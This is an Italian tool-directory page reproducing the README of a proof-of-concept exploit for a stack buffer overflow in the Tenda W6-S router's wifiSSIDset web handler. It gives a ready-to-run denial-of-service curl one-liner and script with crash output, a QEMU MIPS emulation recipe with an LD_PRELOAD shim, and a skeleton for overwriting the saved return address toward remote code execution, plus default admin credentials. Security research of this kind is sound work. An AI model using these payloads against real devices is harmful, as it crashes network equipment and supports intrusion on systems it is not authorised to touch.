Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset — PoC per lo stack overflow CVE-2026-67822 in Tenda W6-S /goform/wifiSSIDset: riproduttore DoS, shim QEMU MIPS e scheletro concettuale di payload RCE. | Kitploit
Strumenti/GitHubGitHub/hunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset
Sicurezza Sistemi EmbeddedAnalisi Dinamica (Sandboxing)Sicurezza IoTAnalisi delle VulnerabilitàExploitSicurezza Hardware e IoTSviluppo PayloadAnalisi del FirmwareBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubhunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

PoC per lo stack overflow CVE-2026-67822 in Tenda W6-S /goform/wifiSSIDset: riproduttore DoS, shim QEMU MIPS e scheletro concettuale di payload RCE.

Vedi Repository
91 mese faNon ancora revisionato

CVE-2026-67822 — Tenda W6-S wifiSSIDset Stack Buffer Overflow (PoC)

PoC complementare all'articolo di Hunt-Benito "GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler".

CVE-2026-67822 (CVSS 9.8 Critical, CWE-121) è un buffer overflow basato su stack in formwrlSSIDset(), la funzione C dietro l'endpoint /goform/wifiSSIDset del punto di accesso wireless Tenda W6-S, /bin/httpd (un web server derivato da GoAhead).

root@kitploit:~
char  v34[64];                                  /* 64-byte stack buffer       */
GO    = websGetVar(a1, "GO",    "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index);        /* unbounded -> stack overflow */

Impatto confermato: denial of service (crash di httpd). Impatto potenziale: esecuzione di codice remota (MIPS, senza stack canary / senza ASLR nella build).


Contenuti del repository


Avvio rapido: riproduzione del DoS

Contro un W6-S reale (IP LAN predefinito 192.168.5.10) o un'istanza emulata:

root@kitploit:~
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target  : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.

Equivalente in una sola riga:

root@kitploit:~
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
    -d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"

Dopo che la richiesta viene evasa, l'interfaccia di gestione rimane inattiva fino a un power-cycle.


Riproduzione senza hardware (QEMU MIPS + fake_apmib.so)

/bin/httpd si aspetta hardware Tenda reale (libapmib.so, il demone cfmd, un MAC LAN). Lo shim fake_apmib.c simula abbastanza di questi elementi per far avviare httpd all'interno di un filesystem firmware emulato. La configurazione rispecchia la tecnica del ricercatore originale.

1. Compilare lo shim per MIPS big-endian

root@kitploit:~
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c

2. Networking dell'host — bridge + TAP

root@kitploit:~
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0

3. Avviare un guest MIPS Malta

root@kitploit:~
$ sudo qemu-system-mips -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

4. All'interno del guest: configurare l'interfaccia e preparare il firmware

root@kitploit:~
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz  [email protected]:/root/
$ scp ./fake_apmib.so         [email protected]:/root/squashfs-root/

5. Chroot e avvio di httpd con lo shim

root@kitploit:~
guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev  ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &

L'interfaccia di gestione è ora raggiungibile all'indirizzo http://192.168.5.10 (login predefinito admin / admin) e poc_dos.py funziona contro di essa esattamente come su hardware reale.

I prototipi esatti degli helper interni apmib/cfmd di Tenda variano tra le diverse build del firmware. Verificateli sulla libapmib.so reale del vostro target (objdump -T libapmib.so / IDA) e adattate fake_apmib.c di conseguenza.


Percorso concettuale per RCE

exploit_conceptual.py documenta la forma dello sfruttamento oltre il DoS:

root@kitploit:~
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
#  feed it to cyclic_offset() to recover the exact offset)

# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>

Questo scheletro reindirizza solo $ra. Trasformare il dirottamento in una reale esecuzione di codice richiede o shellcode su stack non-NX o una catena ROP assemblata da gadget nell'immagine firmware specifica — entrambi specifici della build e volutamente lasciati al ricercatore. Il DoS è confermato; la RCE è il caso peggiore plausibile che il vettore CVSS (C:H/I:H) riflette.


Uso legale / responsabile

Questo codice è destinato esclusivamente alla ricerca sulla sicurezza autorizzata. Eseguilo solo contro dispositivi di tua proprietà o per i quali hai esplicito permesso scritto di test. Non usarlo contro reti o hardware che non controlli.

Riferimenti

  • NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
  • Writeup originale del PoC (trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
  • MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
  • Pagina del prodotto Tenda W6-S: https://www.tendacn.com/material/show/103478
Scarica lo strumento
Prodotto interessatoPunto di accesso wireless Tenda W6-S
Firmware interessatov1.0.0.4(510)
CVSS v3.19.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-121 (Buffer overflow basato su stack)
Endpoint vulnerabilePOST /goform/wifiSSIDset (parametri GO, index)
Scopritore / creditotrister
FileScopo
poc_dos.pyRiproduttore DoS confermato. Invia un parametro GO sovradimensionato e rileva il conseguente crash di httpd. Solo libreria standard — nessuna dipendenza.
exploit_conceptual.pyScheletro concettuale per RCE. Mostra la forma del dirottamento del flusso di controllo (riempimento fino al $ra salvato, sovrascrittura) e un helper a pattern ciclico per derivare empiricamente l'offset verso $ra. Non include shellcode funzionante né indirizzi di gadget.
fake_apmib.cShim LD_PRELOAD che simula le chiamate hardware/MIB di Tenda per far avviare /bin/httpd in un guest QEMU MIPS — la tecnica usata per riprodurre il bug senza un dispositivo fisico.
Intercettazioni dello shimValore restituitoMotivo
apmib_init()1salta l'inizializzazione hardware/MIB
ConnectCfm()1simula la risposta del demone cfmd
GetValue("lan.ip", …)192.168.5.10IP di gestione statico
ioctl(SIOCGIFHWADDR)00:11:22:33:44:55MAC fittizio
connect()passthroughconsente la risoluzione delle connessioni unix-socket/TCP